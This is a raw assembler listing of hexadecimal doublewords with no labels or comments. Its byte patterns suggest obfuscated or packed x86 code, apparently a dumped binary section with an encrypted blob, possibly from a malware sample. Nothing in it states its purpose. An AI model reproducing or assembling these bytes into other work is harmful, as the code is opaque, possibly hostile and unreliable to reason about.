		dd 321BD85h, 6,	0B5FFF500h, 6031CF1h, 359B589h,	95FF0603h
		dd 6032691h, 1E45BD8Bh,	6A0603h, 1FB995FFh, 0C08B0603h
		dd 9CD00DEBh, 4FBD1CFEh, 1D11B79Bh, 0E8FBD894h,	0Bh, 664B11BDh
		dd 0F983054h, 80792734h, 235945DEh, 30A0D95h, 0FDC18106h
		dd 81000064h, 0BC01BCF0h, 0E9DB2B21h, 5, 0CE8C565Dh, 193C8BFFh
		dd 2959958Bh, 0F7810603h, 338A2F19h, 4E0F781h, 958B4F20h
		dd 6031F51h, 528BF781h,	0C78A001Eh, 60193C89h, 0C58D8B60h
		dd 89060325h, 3252DBDh,	8B666106h, 858B61D6h, 6032349h
		dd 8004EB83h, 0FB8196E4h, 0FFFF9BB8h, 21850Fh, 8F0F0000h
		dd 6, 1399529h,	2AE90603h, 0B2000000h, 0C5332C16h, 93845CAFh
		dd 87D124E7h, 29942729h, 32279B5h, 0FF83E906h, 0E63FFFFh
		dd 0B200D03Eh, 9CEA1C7Dh, 5FF3A918h, 10E89Bh, 98080000h
		dd 74837C77h, 44D550A2h, 849FA793h, 958B55B4h, 6030AA1h
		dd 81CF8B5Fh, 73CFC7h, 31958B00h, 2B060312h, 8BE88AF6h
		dd 8B663704h, 0BCF081D3h, 0E940E4F5h, 0Ch, 0EDDA9997h
		dd 5D69D55Fh, 1BF24695h, 7F92F081h, 0BF0F26D2h,	0AEC081CEh
		dd 66633201h, 5029AAB9h, 898D3160h, 0E9060321h,	0Ch, 4D94F02Dh
		dd 102EF86Ch, 0BF467806h, 37048F61h, 9518D8Bh, 0BE90603h
		dd 9D000000h, 1572D9E4h, 5804B534h, 0EE83A798h,	81C8B704h
		dd 0FF8D30FEh, 14850FFFh, 60000000h, 2D21BD8Bh,	0E9610603h
		dd 59h,	0A00E6D7Ah, 0E8EAD44Eh,	0Eh, 0E5EFF549h, 0A5B75FFFh
		dd 988F15EFh, 13E87254h, 0F000000h, 739F6C9Ah, 0DFC88E27h
		dd 0B78CF5D4h, 0F0958F48h, 0FE8C52Ch, 0
		dd 0F79F508Ch, 4CCCE34Ah, 0E2279755h, 5A5AE278h, 0FF31E95Bh
		dd 66D6FFFFh, 41217D89h, 0F4AFAD72h, 0EA8D8D49h, 6A06096Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 4CF6C351h, 8D29C3C7h, 6033055h, 31D18D89h
		dd 0DF8B0603h, 0C7FAB70Fh, 301E185h, 6C5C06h, 14E800h
		dd 0D630000h, 0D4BF5C38h, 2955A615h, 0D5D921A5h, 1416E03h
		dd 8B6693E9h, 85C75FFBh, 60321BDh, 0
		dd 1BC58529h, 0B5FF0603h, 60323C5h, 12E9h, 23FE2D00h, 0D9259B15h
		dd 0BFF2E2D1h, 0EC56FDEAh, 0FFA836A5h, 3269195h, 0E5B52906h
		dd 6A060320h, 0B995FF00h, 8B06031Fh, 2B39EBC0h,	421E3578h
		dd 49B0A9C7h, 50D327FEh, 0D97E01DCh, 8C27D1C4h,	0A11E3249h
		dd 663CC5EEh, 0E55A3607h, 9500E97Ch, 747E228Bh,	14A014FFh
		dd 0F6EC19A3h, 0A48CC1Fh, 0B2C51CA6h, 6BB88D8Dh, 0BD890609h
		dd 60320B9h, 31D18D89h,	0BA660603h, 85C76715h, 60301E1h
		dd 7370h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	94C35141h, 858B62DBh, 603263Dh,	21BD85C7h, 603h
		dd 81660000h, 0FF3042F6h, 321D9B5h, 0EEBB6606h,	9195FF96h
		dd 0E8060326h, 14h, 0E916C959h,	482FA86Ah, 0BEA89317h
		dd 96847119h, 8678E8Ch,	6840Fh,	0BD310000h, 6031BCDh, 0FF006A5Bh
		dd 31FB995h, 0EBC08B06h, 1AA72809h, 700D0B65h, 8D8D4082h
		dd 6096C61h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0BC35545h, 0FBE2D070h, 9D237DFDh, 6030F49h, 31D18D89h
		dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 315148C3h, 89C44364h, 324559Dh, 0E185C706h
		dd 0C060301h, 8100006Eh, 484418C3h, 0BD85C75Bh,	60321h
		dd 8B000000h, 3094995h,	15B5FF06h, 0FF06031Ah, 3269195h
		dd 8B666006h, 28B0FF0h,	60000000h, 6A6161h, 1FB995FFh
		dd 0C08B0603h, 0C7C37AEBh, 2631C300h, 0F9E9775Bh, 69C902D1h
		dd 5B778DD9h, 7336FE76h, 5B2CFE2Ch, 3B01E315h, 4A602DCh
		dd 0A2F76793h, 59E36D41h, 2E0ED305h, 686069CEh,	1BC158Ah
		dd 0ACAA6D5Eh, 0F5FCB0B6h, 0C8A86DC4h, 22F4F229h, 200F4401h
		dd 19812F37h, 0D4437422h, 0EAA99109h, 0FA049F27h, 0E3AFD2FEh
		dd 6C201EA3h, 0AF1EB8FDh, 0A7BA275Fh, 0FFA4F41Ch, 56B42FC4h
		dd 8BDE1955h, 9F683B7Dh, 0AE8h,	485BA100h, 9829FE73h, 0F9F74DEh
		dd 680h, 0A1858B00h, 59060312h,	11E8h, 0EC692200h, 9A8A7766h
		dd 0AF730799h, 19D9DD1Ah, 0E8516C8Ah, 0Fh, 0F8570F31h
		dd 23AEFCF3h, 0FF788505h, 5F814748h, 0C1815F58h, 6EDBh
		dd 32621FB8h, 973CBA06h, 0C28120C8h, 0DF37843Ch, 0F9D858Bh
		dd 31FF0603h, 14E8h, 0BD775F00h, 0C72390E8h, 0AE60FF20h
		dd 0C568D17Fh, 0BE0A3076h, 5E58F90Bh, 81DBB70Fh, 0C9780EF6h
		dd 39BD3343h, 81060324h, 51E142F6h, 0D7D88002h,	68D7EE81h
		dd 830F5358h, 6, 32359D33h, 9560603h, 31F7D8Dh,	66018F06h
		dd 20AADB81h, 8903E983h, 308C59Dh, 89604906h, 3061985h
		dd 99B86606h, 0EA8361D6h, 15850F01h, 8B000000h,	3197585h
		dd 1EE906h, 29860000h, 0AC62D0F0h, 415853AEh, 0FFFF71E9h
		dd 767AB5FFh, 27DD303Fh, 1157AEC8h, 264592BDh, 7E8h, 67A18900h
		dd 0CB58AD25h, 5BCBB70Fh, 0E1B58960h, 0E806032Eh, 0Ch
		dd 921B2A3Bh, 4608C923h, 0BCACD8CFh, 24CD9589h,	615F0603h
		dd 6494C381h, 840F0000h, 12h, 0DE9h, 13C71C00h,	36F01F0Ah
		dd 2548ED0Dh, 69B8FE28h, 81490918h, 0F7008FC0h,	0CE8B6h
		dd 0A8170000h, 0A0572732h, 0BCC7DFF1h, 9D29CADBh, 6033175h
		dd 81338B5Ah, 0A532D4F1h, 4F68158h, 0B9565E1Dh,	10D9C31h
		dd 0A065F681h, 0E2810854h, 3B97AB1Ah, 0FDB5F681h, 9D8934B6h
		dd 6030B3Dh, 0F7816656h, 38F8968h, 83CAB70Fh, 0B52904EBh
		dd 6032DB1h, 0BA850F48h, 89FFFFFFh, 329398Dh, 0BE8D8D06h
		dd 0F06096Fh, 8D89C1B7h, 60331D1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0CC35545h, 0A62018FDh, 28A0F0Ah
		dd 8A000000h, 0E185C7D5h, 0F0060301h, 6A00005Eh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0CDCFC355h, 0FF980036h, 13E96AA8h, 0E4000000h, 0C7033C10h
		dd 5927DC0h, 0CFCB095Eh, 0A9A5A197h, 85C731A6h,	60321BDh
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 7C35646h
		dd 0C794F209h, 0E80C17DBh, 11h,	0DDCCE273h, 48E7A7ABh
		dd 56BB54DFh, 578211E2h, 0DDB58995h, 5F060321h,	0BE8h
		dd 5721FB00h, 7BD01F2Ah, 0C9E027C5h, 5AFFB70Fh,	13E9B5FFh
		dd 6A0603h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 60FB07C3h, 0EABE668Ah, 9195FF7Dh,	0F060326h
		dd 685h, 0F5958B00h, 6A060312h,	0B995FF00h, 8B06031Fh
		dd 651EEBC0h, 0EF31AA70h, 33B36461h, 0FA566302h, 9D3CCA78h
		dd 77F0C6E2h, 3A957964h, 547C9AFFh, 9E806h, 0C8CB0000h
		dd 0FB487312h, 59BA42C3h, 210D9589h, 0C1810603h, 609Ch
		dd 0CE9h, 0FE2EBE00h, 0AEB917BEh, 5A6B99F6h, 180068F8h
		dd 0B70F0000h, 0BA6658F0h, 31FF3183h, 39B53352h, 5F060301h
		dd 8D9D295Bh, 81060323h, 73825BC3h, 0C5D68134h,	8155F5D5h
		dd 0C55339F3h, 14E967h,	6C9F0000h, 4F6C2A72h, 398E86F0h
		dd 23C802F6h, 0A34B7C7Fh, 0F381D906h, 17C0BDF9h, 89D1BF0Fh
		dd 7810F19h, 50000000h,	0AAC24CBFh, 0E9835A71h,	65B58904h
		dd 83060313h, 850F01E8h, 0FFFFFF9Ah, 1BC1952Bh,	0EE80603h
		dd 8E000000h, 770E3A3Ah, 0A13EC1A2h, 604A628Eh,	8D8B6003h
		dd 6032979h, 0EF805E61h, 0DAC681ADh, 0E800006Dh, 0Ah, 0C4BEADDBh
		dd 0EEE1F73Ch, 10E8E205h, 0DD000000h, 8C7BA9D0h, 0F82A467Dh
		dd 2B4E014Ch, 0F5E27EE8h, 47B95A5Bh, 0F00001Bh,	3E8BD2BFh
		dd 6830Fh, 958B0000h, 6031BB5h,	439CEF81h, 9D8B0844h, 6031005h
		dd 0DD50F781h, 953365A7h, 6030ACDh, 260FF781h, 958B7139h
		dd 603267Dh, 0B1858B57h, 8F060323h, 83DA8B06h, 0BD8903EEh
		dd 6030385h, 14E84Eh, 0AF7E0000h, 5BFF01BFh, 743141FEh
		dd 427F89A8h, 0AF3E079Eh, 8B6639FFh, 0E9835BC3h, 93850F01h
		dd 89FFFFFFh, 313BDBDh,	13E806h, 69CC0000h, 8DD8E6h, 8546AE49h
		dd 0B04D103Bh, 0CEBA1C6Dh, 68D681BDh, 5F0756FEh, 0C781C78Bh
		dd 6FAEh, 1AE5958Bh, 4CB90603h,	8149169Eh, 0E97D70C1h
		dd 0AD8D89B6h, 8B060323h, 0D6EB811Fh, 815C0F0Dh, 8DBD46EBh
		dd 0BDBA5139h, 5805EF07h, 0B6FDF381h, 95311B9Fh, 6032025h
		dd 93D88153h, 8F329E77h, 0E6816607h, 0EF8131FEh, 40548275h
		dd 8271C781h, 858B4054h, 6030349h, 1E981h, 850F0000h, 0FFFFFFB3h
		dd 68A0F60h, 8B000000h,	32D2985h, 10E806h, 48750000h, 0AAA30FDDh
		dd 0A0637402h, 8D71404Dh, 12E8DD1Fh, 1F000000h,	9CA73AADh
		dd 0CE9F9127h, 0D3F14C48h, 1FCCE47Ah, 615E5842h, 0A234AC42h
		dd 0A27C2406h, 3BB37D7Ah, 80330D73h, 83B42A21h,	6F302590h
		dd 863025DDh, 91A598A7h, 89302311h, 8630AD8Dh, 238DA684h
		dd 8636266Ah, 864BA12Eh, 3F62590h, 80330A71h, 8634CD6Ah
		dd 51702512h, 0D608D4Bh, 0D3401C0h, 0A274AC42h,	33CF7D25h
		dd 80333205h, 0F58CA0C5h, 56CF2322h, 3F6D599h, 80330A30h
		dd 6A8C4DCAh, 82B14F6Dh, 94DAA105h, 2385DAAEh, 0B362660h
		dd 804399A1h, 0DE0DA14h, 86209CF1h, 8ED92584h, 20302542h
		dd 863EA02Eh, 8D792590h, 76B52A81h, 6FCFDADBh, 8630251Fh
		dd 0CB2CB884h, 83882387h, 79302542h, 928DA8C2h,	0B362CE2h
		dd 8F42FEC5h, 0A3229D22h, 491BA322h, 0A234AC42h, 0A27C2406h
		dd 3BB37D7Ah, 80330D73h, 83B42A21h, 6F302590h, 863025DDh
		dd 83A598A7h, 0A4F305E9h, 22B9h, 0CE800h, 0F2090000h, 17DBC794h
		dd 7BF80F0Ch, 0BF0F456Dh, 85295EC1h, 60301E5h, 5A88C681h
		dd 85890000h, 6030265h,	167A68h, 5AF88A00h, 8B36FFF8h
		dd 32AD1BDh, 0F1815906h, 547D4240h, 1E2DBD03h, 0F1810603h
		dd 54204EB7h, 9CE981F5h, 29390462h, 32C31BDh, 8B665106h
		dd 9068FF8h, 331BDBDh, 46EE8106h, 801E7210h, 0C6817BDBh
		dd 1E721042h, 137D858Bh, 0F4A0603h, 1385h, 23E9F800h, 0B1000000h
		dd 8003276Eh, 43B44A7Eh, 0AFDC9694h, 2E399589h,	92E90603h
		dd 90FFFFFFh, 10E1CC1h,	7D0312B8h, 4EB29E3h, 6DC2230Fh
		dd 812E9h, 0FBFC9F00h, 4E730095h, 0D8E1B71Ah, 0A84D21B4h
		dd 3BC05124h, 4A20DF55h, 0E5481CA5h, 69FC9015h,	9F62668Bh
		dd 0C091F7F8h, 7DE962C6h, 0A5577105h, 0F0F16FC6h, 6C03770Eh
		dd 0F16C2F4Bh, 91993207h, 87204420h, 6C0FEFCh, 6463FC4Ch
		dd 32D9770Eh, 636896B6h, 0C9D67511h, 0E1B4E7CDh, 0EBFD487Dh
		dd 4487106h, 5321DEB1h,	2489C3AEh, 6F3CAC51h, 462961B5h
		dd 0FC0023A1h, 0FB93699Ah, 77h,	0BC452A04h, 67E04802h
		dd 0D5770EF0h, 47C06806h, 0B5770EF0h, 5F224A26h, 0F45731BAh
		dd 0AD420448h, 0F59718FCh, 9B20FD90h, 91AB580Ch, 4E996D4Eh
		dd 43h,	6F452AE9h, 0EF042DBh, 5858C077h, 1A2AF159h, 0A9C1AC3Bh
		dd 0FDD8ACF6h, 3F941D6h, 0B645C36Bh, 1E02770Eh,	0DADFB0CAh
		dd 872CC99Ch, 179878C5h, 0DE582C88h, 0B68B0424h, 6AF1770Eh
		dd 258B8Eh, 2A2A0000h, 42CBC45h, 770EF089h, 3F2E72AEh
		dd 4D1CE49Ch, 0A1D5EAD4h, 0C9AF00FCh, 8B687FCAh, 12E78A66h
		dd 0F0F8FBE9h, 0FF4B6785h, 7511FC2Dh, 891474E3h, 0AFBC08E7h
		dd 325A5B3Fh, 0F2B50257h, 278A0327h, 63F6710Bh,	0F65B0994h
		dd 0B6F19B20h, 263CE7CBh, 3490B36Dh, 0AF4B4663h, 3F8A2B21h
		dd 1B09A783h, 0D8B76F0Eh, 0A6268D36h, 9BD3073Dh, 436434F5h
		dd 6B0D90F4h, 55FE0646h, 68770E1Bh, 0A84E0054h,	7C5B75C9h
		dd 339EEE33h, 83F0265Dh, 0F0F992B6h, 9047770Eh,	0F4986D05h
		dd 0D208AF39h, 917C44DDh, 9D1692F7h, 432AAC2Fh,	6C01C1A2h
		dd 67626A8Fh, 74FEE589h, 986D5680h, 0F2AB4223h,	94F19B20h
		dd 40A9B309h, 0CA000000h, 0FA9D83F0h, 1956EF5h,	556A8F6Ch
		dd 0A0C7CBEAh, 336DCB56h, 5956A679h, 67FA7C53h,	697C6C95h
		dd 8D062682h, 0F3770EAFh, 82018F64h, 3BF442Ah, 64648D62h
		dd 0F1088B61h, 3D5A72h,	1D90000h, 0F69E8B6Ch, 218E6AF1h
		dd 1D95A54h, 0EF0B029h,	2FC0AD77h, 3887C28Ah, 0A5C1DD7Eh
		dd 0E6B64BA0h, 4701890Ah, 572DD2A6h, 47442ADCh,	1516C3B2h
		dd 0EB2AC09Fh, 0B2194C1Ch, 2A72F131h, 22AA243h,	770B6F97h
		dd 0C48429CDh, 6F5DF652h, 34A3770Ah, 523ABF51h,	0BF1F43F1h
		dd 0DABB4A0Ch, 0BFD2B7D1h, 2DB8D0D9h, 673F6357h, 94796F90h
		dd 28EEFE03h, 6F41DA6Eh, 0D0BF770Ah, 56D2B942h,	33555E33h
		dd 2678AC90h, 7F0EA851h, 1673159Eh, 273DF69Ah, 209968D1h
		dd 41h,	68432A53h, 17FB56AAh, 0BF29B47Ah, 437F7D08h, 0EE13E489h
		dd 85EB21FEh, 0C42C9D86h, 6DAB8379h, 0CB7511D5h, 13E14C1Ch
		dd 7E13FEEEh, 63BC1375h, 2D504BAh, 0E428E494h, 0C91D135Ah
		dd 8BD9DEB1h, 0A2432AC8h, 0CF29D2Ah, 92044469h,	0EF11DB6h
		dd 69F46377h, 0FA44E482h, 607511FAh, 442997F5h,	85D0FB0h
		dd 83F037ACh, 0AC2F8865h, 0C1A2432Ah, 8074A82Bh, 7F986D56h
		dd 59h,	886C01F8h, 0F0FB94B4h, 9A41770Eh, 22F05D0Fh, 0F9ACF99h
		dd 7F7906B1h, 37A19043h, 0FB305802h, 0AD0B9617h, 0B0290136h
		dd 6B770EF0h, 0F10099B1h, 117C770Eh, 1B917C81h,	0EEC6573Ah
		dd 0EF0C15Ah, 0DDA83F77h, 8201FD76h, 0C6BF442Ah, 325A72F1h
		dd 1C000000h, 0AB01A649h, 6583F028h, 0B0290188h
		dd 0AD770EF0h, 0BEF7E38h, 0E37CCCEAh, 59770EF0h, 1BD36B2h
		dd 0BF442A82h, 0E34701C6h, 770EF06Ah, 1BA503D6h, 455E0164h
		dd 0A76626FCh, 771E73C9h, 63CE1676h, 91770ACDh,	0D90F8FDh
		dd 56044469h, 8F603A6Eh, 50EC9F6Ah, 2A34A0Ch, 0ED16FB4Eh
		dd 788116FBh, 0C4E98D10h, 50553984h, 588C4038h,	3B6FD5FEh
		dd 67658E63h, 692EB8CCh, 23B799h, 2AC00000h, 9D2AA243h
		dd 6EBAF4F2h, 751214A4h, 608568FDh, 803EAD84h, 8E409EDh
		dd 577BB960h, 1177781Fh, 0A2432A62h, 0F4F29D2Ah, 15A86EBAh
		dd 2B867512h, 0BD28A049h, 22F598D6h, 1043279Dh,	886583F0h
		dd 0D4A64701h, 0E028BD2Fh, 770EF067h, 0C2AA06D5h, 0A2432A91h
		dd 6E936104h, 0A82B1192h, 6D568074h, 2A7F98h, 1F80000h
		dd 0E7BCBA5Eh, 55D3DA88h, 0A2039DEAh, 0F0B02901h, 590C770Eh
		dd 2A8201E4h, 1C6BF44h,	8E6A8F6Ch, 305A4320h, 0D9000000h
		dd 886583F0h, 0CFA64701h, 0E17A522Eh, 0FE770EF0h, 82018A6Bh
		dd 0A775442Ah, 87F2C2CCh, 1D5AE35h, 63658E6Ch, 85885166h
		dd 38948F19h, 2A7DF2BCh, 22AA243h, 770B6F97h, 64074BE9h
		dd 1E8077B3h, 0DB8E89E7h, 8EDB8D36h, 37B85F32h,	0FD02EA7Bh
		dd 0F79E6307h, 0A6D196F6h, 94B46E08h, 770A6CFBh, 601E9A41h
		dd 8932C7A6h, 1E2E8ADFh, 750D8A9Ch, 0DAABC792h,	0B2D7B136h
		dd 9A721FEDh, 55D30CB8h, 83F04231h, 96F6FB9Dh, 18F64F3h
		dd 0F79E8B6Ch, 64616BF6h, 2AF3E088h, 5304A243h,	0A077FA6Ch
		dd 47184D1Fh, 1C98D353h, 0AA6D2BA7h, 0BBCC6EA7h, 0F97AF675h
		dd 64896C01h, 56B1BB88h, 384E986Dh, 0E9000000h,	886583F0h
		dd 0F0B02901h, 0A86B770Eh, 34425B21h, 0D8F977DCh, 0C22AE3C7h
		dd 2CBDE534h, 78AF4DABh, 851675C0h, 92796C7Ch, 2A820111h
		dd 0F1C6BF44h, 4F5A72h,	0F0D90000h, 0B84D6583h,	0BC452BD4h
		dd 422AB7D1h, 0D95AD6BDh, 0F0B02901h, 38AD770Eh, 0E50EEF7Eh
		dd 0DE32F5D4h, 12EE9247h, 0A6470191h, 0D74C28D1h, 0B347442Ah
		dd 0A00F5A32h, 0FDB7F1C3h, 0EF0B42Dh, 0DB64477h, 8A170E5Bh
		dd 97FA9879h, 0CDAB36BCh, 0A2432A56h, 0D4BB4A04h, 0FC2CB9D3h
		dd 770EF063h, 0D6B632D9h, 0B6FA30Eh, 0EB3FF577h, 553BBC53h
		dd 0C0882DC0h, 138C9C56h, 0E770A70h, 0A6FA13Ah,	49481F77h
		dd 852ECF82h, 3DF5802Fh, 49111170h, 0EB8712EBh,	0D28A15Fh
		dd 0DDB01F75h, 4ED5B0D8h, 5E01591Ah, 3CC1FEE0h,	36817F55h
		dd 2FD6AF49h, 0A2432AACh, 8E6C01C1h, 0F8FB8F65h, 6AE34701h
		dd 0D6770EF0h, 969EA503h, 0D986D56h, 7B6D9678h,	3788926Eh
		dd 2B000000h, 886583F0h, 0F0B02901h, 590C770Eh,	0A64701E4h
		dd 0D9BB2ECFh, 572DB8D0h, 0BF442ADCh, 5A72F1C6h, 59h, 94527B1Ch
		dd 0A37EF0B3h, 25A028D1h, 5D660B5Eh, 83F06CE7h,	0F58A4D65h
		dd 0B0187EF9h, 0F7A88A79h, 0D6BD1E16h, 1017B098h, 0F665770Eh
		dd 2901F97Ah, 770EF0B0h, 7F29A6Bh, 517E49EFh, 0FBED7884h
		dd 79212EEh, 2A8201AEh,	0F1C6BF44h, 0CA7EE4B7h,	6AC549B7h
		dd 1E9A6186h, 0A2432AA5h, 3EF29D2Ah, 6A0D0752h,	7D13445h
		dd 75D5ED78h, 7510F133h, 0E18EC289h, 0CA5E1896h, 6F03EDA9h
		dd 77165007h, 0E04D1FA0h, 0E8FDEF10h, 7AC7A71Dh, 0EBBBD893h
		dd 0DBBC55F5h, 55007704h, 15E25604h, 0A077DA8Eh, 3ACB4D1Fh
		dd 0A93CAC55h, 0A097FBD3h, 3BF91FBFh, 37B85F17h, 8429CC51h
		dd 109579C4h, 0ED317378h, 2A09EF7Eh, 43BE5BF5h,	7A1FEA0Ch
		dd 37777C0Ah, 4D209CC2h, 0F24705AAh, 22DC9A1Bh,	4D338D06h
		dd 8864F30Bh, 0AC7C36E0h, 0B4D3333h, 0E88FC289h, 64C085C7h
		dd 1171h, 0D1A44900h, 59E3BC2Ch, 2C4BC8C1h, 36AD0B96h
		dd 472A8003h, 0B45B26A6h, 26F45933h, 9266CB9Dh,	1967B6Dh
		dd 6C0D90F8h, 0D4B80547h, 42D4B9D3h, 0B1422FB9h, 510B4008h
		dd 0C181E189h, 4, 3304E983h, 0C31240Ch,	240C3324h, 7B9F685Ch
		dd 0C890000h, 59146824h, 4890000h, 68505224h, 0EB53DB9h
		dd 0C2152D58h, 0C289BEA6h, 0F811B958h, 0D101B5FAh, 48B545Ah
		dd 4C48124h, 81000000h,	4ECh, 240C8900h, 56240481h, 8F11BD17h
		dd 68810840h, 0BD175608h, 2434FF11h, 4C48358h, 592434FFh
		dd 0E904C483h, 0FFFA01A1h, 0B89D7F8Ah, 6097B4Fh, 0E0FFC503h
		dd 4C0EB934h, 5857A7F2h, 363DDE11h, 65BC3EF2h, 5426438Ch
		dd 7DA8F7AAh, 4B49C235h, 40B070C8h, 4948BD2Ch, 7CCCC0FDh
		dd 26A9E8F8h, 6080D8F9h, 1D85F672h, 4A113A75h, 4FF77109h
		dd 717A410h, 668182EBh,	6BB6B71h, 7F9D2AC6h, 17F40EC5h
		dd 113FEC84h, 17E0DF9Ah, 4B339453h, 1755D684h, 1BA65D18h
		dd 7A438001h, 1AE0FE62h, 14506C73h, 70172A98h, 7D028D8Dh
		dd 6A0609h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 33B053C3h, 0B02BB609h, 19DD9531h,	8D890603h
		dd 60331D1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	12C35545h, 0E185C774h, 0D8060301h, 6A00006Eh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 291AC352h, 313B58Dh,	0BD85C706h, 60321h, 80000000h
		dd 1EBAD4CEh, 0FF24F802h, 321D9B5h, 0BE906h, 41F60000h
		dd 0B2298879h, 221741ECh, 9195FF92h, 0F060326h,	68Ch, 49B53100h
		dd 6A060320h, 0B995FF00h, 8B06031Fh, 8009EBC0h,	264237DDh
		dd 73F67816h, 0FE8h, 0CBC3D200h, 67C4F749h, 0D98AD4AEh
		dd 9DD7ECE8h, 8B5EFB8Bh, 27C681C3h, 81000062h, 63A09EE9h
		dd 0F4FABA31h, 0EA8133BEh, 33BEDC97h, 28C0Fh, 0E8B40000h
		dd 0B15B36FFh, 5EF3810Fh, 8B30177Eh, 321A185h, 21EB8106h
		dd 535C4AB2h, 6E9h, 90B8100h, 58B33BDEh, 20DCEB81h, 0BF0F19AFh
		dd 0E81E89C8h, 0Dh, 5303682Fh, 0B3F489DFh, 7123FAC3h, 0C18B66EEh
		dd 4EE835Fh, 83CDE580h,	850F01EAh, 0FFFFFFACh, 13E9h, 0E4A37100h
		dd 1812F757h, 2B98CC4Fh, 64E49242h, 0F3BD38D4h,	7E578D8Dh
		dd 9D2B0609h, 6032A21h,	31D18D89h, 31510603h, 32A5DB5h
		dd 85C75B06h, 60301E1h,	60B0h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 22C35141h, 0D9D78146h, 0C7429278h
		dd 321BD85h, 6,	68D0F00h, 31000000h, 32D4DB5h, 61B5FF06h
		dd 56060329h, 0FC5B503h, 0E85F0603h, 13h, 26501D75h, 0ED392774h
		dd 0CD7180FCh, 1AC69C38h, 0FC61BBEh, 688h, 2D950100h, 5A06032Ah
		dd 269195FFh, 0C6810603h, 5B19B3ECh, 95FF006Ah,	6031FB9h
		dd 7DEBC08Bh, 0F6ABC65Fh, 39BBDD5Ch, 6E5E499h, 770A5B3Bh
		dd 0C1DA45FEh, 0E43D0D86h, 9D691579h, 0D42D738Dh, 6363A5C3h
		dd 200DBB01h, 20ED1585h, 347EE2A5h, 0C1DC1044h,	0A5291B0h
		dd 0C3E0A1D8h, 0A6CA7A51h, 0F106D5Ch, 0D5F7903Ch, 7C113451h
		dd 0A2A21E15h, 9C2CAFEh, 33F35D67h, 0FE1F18C2h,	8BE4D73Dh
		dd 0E447A33h, 0A6941399h, 0F4ED61F6h, 3260D337h, 0CE76EB6Fh
		dd 1CE48A81h, 0DBC9D483h, 0C78D8D81h, 6A06097Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0A500C353h, 60ED5502h, 1499094Ch, 778BBF66h,	0DC28160h
		dd 8A046B2Fh, 8D8961F7h, 60331D1h, 5880Fh, 40BB0000h, 0C7323834h
		dd 301E185h
		dd 679006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0D88156A3h, 52A2A4F9h, 68C0Fh, 8B0F0000h
		dd 0
		dd 21BD85C7h, 603h, 0E6800000h,	0D9B5FF90h, 0F060321h
		dd 1A87h, 14840F00h, 0E8000000h, 0Eh, 52B355D0h, 0FE6A644h
		dd 259342B2h, 95E8E41h,	31211BDh, 9195FF06h, 6A060326h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 8129C355h, 9DB031CFh, 0D5F7805Dh,	95FF006Ah
		dd 6031FB9h, 9EBC08Bh, 7436998Bh, 0E44F20B7h, 7C8D8D43h
		dd 0F060980h, 8D89DFB7h, 60331D1h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 74C35343h, 1185295Ah, 0C706031Dh
		dd 301E185h, 646006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0B70F2D62h, 0BD85C7D0h
		dd 60321h, 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 9995C351h, 0B5FFF548h,	60330A9h
		dd 1FFD958Bh, 0DF800603h, 9195FFEEh, 31060326h,	312598Dh
		dd 0FF006A06h, 31FB995h, 0EBC08B06h, 0D3AB0938h, 0C6A71414h
		dd 4E175D23h, 0BBA11561h, 3C8876EDh, 4BFE855Bh,	1A3CB9F5h
		dd 0A221F6Ch, 17B7F108h, 41C16F48h, 18C82192h, 7D42EC05h
		dd 3CBC1AECh, 56DAA80Fh, 6E823h, 45D90000h, 3E87D03Bh
		dd 0FE9h, 2EAF2700h, 87D3AC9Dh,	722CE70Bh, 4FAD12EAh, 498D235Fh
		dd 81060310h, 5BEBC7h, 0EE900h,	0FBE90000h, 0BA3BEF2h
		dd 6CCAC8B3h, 780AF2EFh, 0C1A8E7BEh, 0E2C6816Bh, 89943E6Dh
		dd 331B5BDh, 8A1F8B06h,	87C381F7h, 577C3DAEh, 9F07BA66h
		dd 0BEF3815Ah, 8B1A71D0h, 30C8585h, 7EF38106h, 0F1891CDh
		dd 48Bh, 0C6B96600h, 78F53D7h, 0B259D09h, 0EF830603h, 0CA8B6602h
		dd 8E94F4Fh, 2000000h, 78FA5663h, 4E9D3CCAh, 1A850Fh, 0EB8A0000h
		dd 28E9h, 0B95EF500h, 2FB300D7h, 2C6762EDh, 0F32F99F2h
		dd 61A7D505h, 26FDBD89h, 8AE90603h, 8CFFFFFFh, 1979E077h
		dd 0C12FF7EAh, 0FB8D8D01h, 0F9060981h, 31D18D89h, 85890603h
		dd 60309A9h, 1E185C7h, 62780603h, 0C7F80000h, 321BD85h
		dd 6, 5958900h,	0FF06031Bh, 310CDB5h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 0C885156Dh, 0CD25471Ch, 9D898724h, 603221Dh,	269195FFh
		dd 9D8B0603h, 60311E9h,	95FF006Ah, 6031FB9h, 0EEBC08Bh
		dd 0D418C1F4h, 4852EFCCh, 0F41B4C0h, 85C660E7h,	6032F39h
		dd 30DF6856h, 0B5FFA9C5h, 60328C9h, 73BC858Dh, 0D0FF0606h
